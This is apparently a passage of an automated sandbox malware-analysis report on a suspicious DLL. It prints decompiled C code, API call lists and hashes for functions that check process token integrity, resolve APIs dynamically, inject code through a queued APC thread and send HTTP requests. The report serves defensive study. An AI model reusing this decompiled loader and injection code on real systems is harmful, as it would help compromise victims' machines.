                    • InternetCloseHandle.WININET(?), ref: 027C4C2A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 027C4C35
                    • InternetCloseHandle.WININET(?), ref: 027C4C3A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,027C2248,?,?,74CF81D0,00000000,00000000), ref: 027C4C4A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,027C2248,?,?,74CF81D0,00000000,00000000), ref: 027C4C54
                      • Part of subcall function 027C16B2: WaitForMultipleObjects.KERNEL32(00000002,027C7C47,00000000,027C7C47,?,?,?,027C7C47,0000EA60), ref: 027C16CD
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2824497044-0
                    • Opcode ID: 2a47e1474fe989fdc06ccd37e204c6d352f5e81c624ef86a0a09609bd1568ab6
                    • Instruction ID: 76326d23d149082c6402032db6f6caf1e1a46ecfe711e17e4e9d35146bf256eb
                    • Opcode Fuzzy Hash: 2a47e1474fe989fdc06ccd37e204c6d352f5e81c624ef86a0a09609bd1568ab6
                    • Instruction Fuzzy Hash: 87113D76A006586BC631AEBADDE4C1BB7FEBB443093654D1CE585D3621C734F8458A60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8AC7D Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __RTC_Initialize.LIBCMT ref: 6CB8ACC4
                    • ___scrt_uninitialize_crt.LIBCMT ref: 6CB8ACDE
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Initialize___scrt_uninitialize_crt
                    • String ID:
                    • API String ID: 2442719207-0
                    • Opcode ID: 752511f5680eb36601979d14a31ba5b9a5fda59942acec1a90c083a8f5b57e11
                    • Instruction ID: bd44923dc518e1d6ab7fd91a037e0ad6cf077f839e68ba186a11957926f68bde
                    • Opcode Fuzzy Hash: 752511f5680eb36601979d14a31ba5b9a5fda59942acec1a90c083a8f5b57e11
                    • Instruction Fuzzy Hash: C4410672E072A8EFDB108F65CC04B9E3AB9EB85B5AF10451AE814A7BC0D7704D058FE1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C5E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C5E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x27ca2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E027C33DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E027C61DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                    0x027c5e4d
                    0x027c5e54
                    0x027c5e5b
                    0x027c5e6f
                    0x027c5e7a
                    0x027c5e92
                    0x027c5e9f
                    0x027c5ea2
                    0x027c5ea7
                    0x027c5eb2
                    0x027c5eb6
                    0x027c5ec5
                    0x027c5ec9
                    0x027c5ee5
                    0x027c5ee5
                    0x027c5ee9
                    0x027c5ee9
                    0x027c5eee
                    0x027c5ef2
                    0x027c5ef8
                    0x027c5ef9
                    0x027c5f00
                    0x027c5f06

                    APIs
                    • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 027C5E72
                    • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 027C5E92
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 027C5EA2
                    • CloseHandle.KERNEL32(00000000), ref: 027C5EF2
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 027C5EC5
                    • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 027C5ECD
                    • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 027C5EDD
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                    • String ID:
                    • API String ID: 1295030180-0
                    • Opcode ID: 3551197baa0c11ea2e0c7bddd44dd7d03f57bf7a8eca48679079a46e535039bc
                    • Instruction ID: 6bbf2b0b047c5f06f850c05cb2fdcd8eaf3545eff51c1cbc1cd30cc39447102b
                    • Opcode Fuzzy Hash: 3551197baa0c11ea2e0c7bddd44dd7d03f57bf7a8eca48679079a46e535039bc
                    • Instruction Fuzzy Hash: E8214AB5D0021DFFEB01DFA4DC84EAEBBB9EB48315F2040A9E910A6150DB719A54DF50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C6675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 64%
                    			E027C6675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x27ca348; // 0x10fd5a8
				_t1 = _t9 + 0x27cb516; // 0x253d7325
				_t36 = 0;
				_t28 = E027C5815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x38c9601
					_t40 = E027C33DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E027C5063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E027C61DA(_t40);
						_t42 = E027C4AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E027C61DA(_t36);
							_t36 = _t42;
						}
						_t43 = E027C2708(_t36, _t33);
						if(_t43 != 0) {
							E027C61DA(_t36);
							_t36 = _t43;
						}
					}
					E027C61DA(_t28);
				}
				return _t36;
			}
















                    0x027c6675
                    0x027c6678
                    0x027c6679
                    0x027c6680
                    0x027c6687
                    0x027c668e
                    0x027c6692
                    0x027c6699
                    0x027c66a0
                    0x027c66a5
                    0x027c66ad
                    0x027c66b7
                    0x027c66bb
                    0x027c66bf
                    0x027c66c5
                    0x027c66ca
                    0x027c66d4
                    0x027c66da
                    0x027c66dc
                    0x027c66f3
                    0x027c66f7
                    0x027c66fa
                    0x027c66ff
                    0x027c66ff
                    0x027c6708
                    0x027c670c
                    0x027c670f
                    0x027c6714
                    0x027c6714
                    0x027c670c
                    0x027c6717
                    0x027c671c
                    0x027c6722

                    APIs
                      • Part of subcall function 027C5815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,027C668E,253D7325,00000000,00000000,?,7491C740,027C3ECE), ref: 027C587C
                      • Part of subcall function 027C5815: sprintf.NTDLL ref: 027C589D
                    • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A0
                    • lstrlen.KERNEL32(00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A8
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • strcpy.NTDLL ref: 027C66BF
                    • lstrcat.KERNEL32(00000000,00000000), ref: 027C66CA
                      • Part of subcall function 027C5063: lstrlen.KERNEL32(00000000,00000000,027C3ECE,00000000,?,027C66D9,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C5074
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66E7
                      • Part of subcall function 027C4AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,027C66F3,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C4AD1
                      • Part of subcall function 027C4AC7: _snprintf.NTDLL ref: 027C4B2F
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                    • String ID: =
                    • API String ID: 2864389247-1428090586
                    • Opcode ID: 623feedb0a46c0b271fbe561829c7f0c93c3ce0017a937c6acb9bf914cfbb997
                    • Instruction ID: a177c1a1d12e91a5d00d573afdc3b5fd576d55f48b7221bc55c6476cd7ae0de4
                    • Opcode Fuzzy Hash: 623feedb0a46c0b271fbe561829c7f0c93c3ce0017a937c6acb9bf914cfbb997
                    • Instruction Fuzzy Hash: 97119172D01126A78713BB789CC8C6F3AAE9E85B64335442DFA04A7201DF34D9024BA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8861E Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • BSUZnYlubCPfUobkskAPwGSmwide, xrefs: 6CB88BE0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: BSUZnYlubCPfUobkskAPwGSmwide
                    • API String ID: 1384045349-1939733658
                    • Opcode ID: 22c3017efad3e693178c1709b76c7463350d5da9584f4020886f6c1c305de1df
                    • Instruction ID: af38758949c50039b1423f034058e9c0f40083e6a73a2c2c4ea3c6d143569505
                    • Opcode Fuzzy Hash: 22c3017efad3e693178c1709b76c7463350d5da9584f4020886f6c1c305de1df
                    • Instruction Fuzzy Hash: EA129BB4D052A9CBDF24CF54C894BEDB7B1BB45308F1481DAD0096BB40DB759A88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E51142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E00E52046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0xe541c4 + 0xe5512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0xe541c4 + 0xe55139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E00E51CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0xe541c4 + 0xe55000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0xe541c4 + 0xe550b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0xe541c4 + 0xe5505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0xe541c4 + 0xe55052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E00E51E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                    0x00e51150
                    0x00e51154
                    0x00e51215
                    0x00e5115a
                    0x00e51172
                    0x00e51181
                    0x00e51188
                    0x00e5118a
                    0x00e5118f
                    0x00e5120d
                    0x00e5120e
                    0x00e51191
                    0x00e5119e
                    0x00e511a0
                    0x00e511a5
                    0x00000000
                    0x00e511a7
                    0x00e511b4
                    0x00e511b6
                    0x00e511bb
                    0x00000000
                    0x00e511bd
                    0x00e511ca
                    0x00e511cc
                    0x00e511d1
                    0x00000000
                    0x00e511d3
                    0x00e511e0
                    0x00e511e2
                    0x00e511e7
                    0x00000000
                    0x00e511e9
                    0x00e511ef
                    0x00e511f5
                    0x00e511fa
                    0x00e511ff
                    0x00e51204
                    0x00000000
                    0x00e51206
                    0x00e51209
                    0x00e51209
                    0x00e51204
                    0x00e511e7
                    0x00e511d1
                    0x00e511bb
                    0x00e511a5
                    0x00e5118f
                    0x00e51223

                    APIs
                      • Part of subcall function 00E52046: RtlAllocateHeap.NTDLL(00000000,?,00E5124D,00000030,74CB63F0,00000000), ref: 00E52052
                    • GetModuleHandleA.KERNEL32(?,00000020), ref: 00E51166
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00E51188
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00E5119E
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00E511B4
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00E511CA
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00E511E0
                      • Part of subcall function 00E51E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 00E51ED3
                      • Part of subcall function 00E51E76: memset.NTDLL ref: 00E51EF5
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                    • String ID:
                    • API String ID: 3012371009-0
                    • Opcode ID: 68bcc3c070d136f72fcf7613be8b3d9af711f2c8077f1c5632a8324a9c34ed22
                    • Instruction ID: c6ceb244efdcde69bdfb60019745565b8e1daad73bf699aaa4928a7b8cea8da0
                    • Opcode Fuzzy Hash: 68bcc3c070d136f72fcf7613be8b3d9af711f2c8077f1c5632a8324a9c34ed22
                    • Instruction Fuzzy Hash: F52165B9601B0A9FD710DFAACD40E5677ECEF04306B014D9AE915E72A1E730E948DF60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E517EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 86%
                    			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0xe54188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0xe5418c;
						if( *0xe5418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0xe54198;
								if( *0xe54198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0xe5418c);
						}
						HeapDestroy( *0xe54190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0xe54188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0xe54190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0xe541b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E00E51F97(E00E51FF5, E00E51DF6(_a12, 1, 0xe54198, _t41));
							 *0xe5418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                    0x00e517f2
                    0x00e517fe
                    0x00e51800
                    0x00e51803
                    0x00e51879
                    0x00e5187f
                    0x00e51881
                    0x00e51883
                    0x00e51889
                    0x00e5188b
                    0x00e51890
                    0x00e51893
                    0x00e5189e
                    0x00e518a0
                    0x00000000
                    0x00000000
                    0x00e518a2
                    0x00e518a5
                    0x00e518a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e518a7
                    0x00e518af
                    0x00e518af
                    0x00e518bb
                    0x00e518bb
                    0x00e51805
                    0x00e51806
                    0x00e51826
                    0x00e5182c
                    0x00e51831
                    0x00e51833
                    0x00e5186f
                    0x00e5186f
                    0x00e51835
                    0x00e5183d
                    0x00e51844
                    0x00e5184e
                    0x00e5185a
                    0x00e5185f
                    0x00e51866
                    0x00e5186b
                    0x00000000
                    0x00e5186b
                    0x00e51866
                    0x00e51833
                    0x00e51806
                    0x00e518c8

                    APIs
                    • InterlockedIncrement.KERNEL32(00E54188), ref: 00E51811
                    • HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 00E51826
                      • Part of subcall function 00E51F97: CreateThread.KERNELBASE ref: 00E51FAE
                      • Part of subcall function 00E51F97: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 00E51FC3
                      • Part of subcall function 00E51F97: GetLastError.KERNEL32(00000000), ref: 00E51FCE
                      • Part of subcall function 00E51F97: TerminateThread.KERNEL32(00000000,00000000), ref: 00E51FD8
                      • Part of subcall function 00E51F97: CloseHandle.KERNEL32(00000000), ref: 00E51FDF
                      • Part of subcall function 00E51F97: SetLastError.KERNEL32(00000000), ref: 00E51FE8
                    • InterlockedDecrement.KERNEL32(00E54188), ref: 00E51879
                    • SleepEx.KERNEL32(00000064,00000001), ref: 00E51893
                    • CloseHandle.KERNEL32 ref: 00E518AF
                    • HeapDestroy.KERNEL32 ref: 00E518BB
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                    • String ID:
                    • API String ID: 2110400756-0
                    • Opcode ID: 08de1bdf22017a10ad16e5847e22d1d6970570cdb6c75657cd8515f2fd8d571f
                    • Instruction ID: 7c0202540d1125372234fc1fb7fdf02949cd69c28e7e657c48091a7e523d31e9
                    • Opcode Fuzzy Hash: 08de1bdf22017a10ad16e5847e22d1d6970570cdb6c75657cd8515f2fd8d571f
                    • Instruction Fuzzy Hash: C021A471601705EFCB289F7AED84A597BA8F7543AF7101DA5FA05F3190D6309D8C8B50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB71100 Relevance: 9.1, APIs: 6, Instructions: 69windowCOMMON
                    Download Yara Rule
                    APIs
                    • CreateDialogParamA.USER32(6CB70000,00000002,00000000,6CB711D0,00000000), ref: 6CB71157
                    • CloseWindow.USER32 ref: 6CB71161
                    • DestroyWindow.USER32(?), ref: 6CB7119B
                    • PostQuitMessage.USER32(00000000), ref: 6CB711A5
                    • DefWindowProcA.USER32(?,?,?,?), ref: 6CB711BD
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: Window$CloseCreateDestroyDialogMessageParamPostProcQuit
                    • String ID:
                    • API String ID: 4102919609-0
                    • Opcode ID: ebcf5ce975a4e0160b753121a1b8899eec38e2c46defc9834c0e4528531fa141
                    • Instruction ID: 915bd640f3d421e9ab32d6c8d95d205f26ab64281c9924d808dbae89b0840c74
                    • Opcode Fuzzy Hash: ebcf5ce975a4e0160b753121a1b8899eec38e2c46defc9834c0e4528531fa141
                    • Instruction Fuzzy Hash: BD213E75A85248EFDF14CF98C965AEE77B4EB4A301F148519F9298BA80C770D940CF71
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C51D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C51D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E027C2058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E027C7B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                    0x027c51d8
                    0x027c51e5
                    0x027c51e7
                    0x027c524a
                    0x00000000
                    0x027c524a
                    0x027c51ff
                    0x027c5206
                    0x027c5212
                    0x027c5217
                    0x027c522d
                    0x027c523d
                    0x00000000
                    0x027c522f
                    0x027c522f
                    0x027c5236
                    0x027c5243
                    0x027c5243
                    0x027c5243
                    0x027c5236
                    0x027c522d
                    0x027c5248
                    0x00000000
                    0x00000000
                    0x027c524e

                    APIs
                    • ResetEvent.KERNEL32(?,00000008,?,?,00000102,027C21E7,?,?,74CF81D0,00000000), ref: 027C5212
                    • ResetEvent.KERNEL32(?), ref: 027C5217
                    • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 027C5224
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,027C3F34,00000000,?,?), ref: 027C522F
                    • GetLastError.KERNEL32(?,?,00000102,027C21E7,?,?,74CF81D0,00000000), ref: 027C524A
                      • Part of subcall function 027C2058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,027C51F7,?,?,?,?,00000102,027C21E7,?,?,74CF81D0), ref: 027C2064
                      • Part of subcall function 027C2058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,027C51F7,?,?,?,?,00000102,027C21E7,?), ref: 027C20C2
                      • Part of subcall function 027C2058: lstrcpy.KERNEL32(00000000,00000000), ref: 027C20D2
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,027C3F34,00000000,?), ref: 027C523D
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                    • String ID:
                    • API String ID: 3739416942-0
                    • Opcode ID: a5cc32219a68e16b38bb49e2ce15c914e865e305075d9880e132fd2e195a670d
                    • Instruction ID: 08fc92eb97e9d222b4c81d61db1f334e5ea2ebddcdf21c7d9627525fc3620734
                    • Opcode Fuzzy Hash: a5cc32219a68e16b38bb49e2ce15c914e865e305075d9880e132fd2e195a670d
                    • Instruction Fuzzy Hash: 58018671100601ABDB316A30DC48F2BBBEAFF48334F704A2DE692A10E0D722F854DA20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E51F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0xe541c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                    0x00e51fae
                    0x00e51fb4
                    0x00e51fb8
                    0x00e51fc3
                    0x00e51fcb
                    0x00e51fd4
                    0x00e51fd8
                    0x00e51fdf
                    0x00e51fe6
                    0x00e51fe8
                    0x00e51fee
                    0x00e51fcb
                    0x00e51ff2

                    APIs
                    • CreateThread.KERNELBASE ref: 00E51FAE
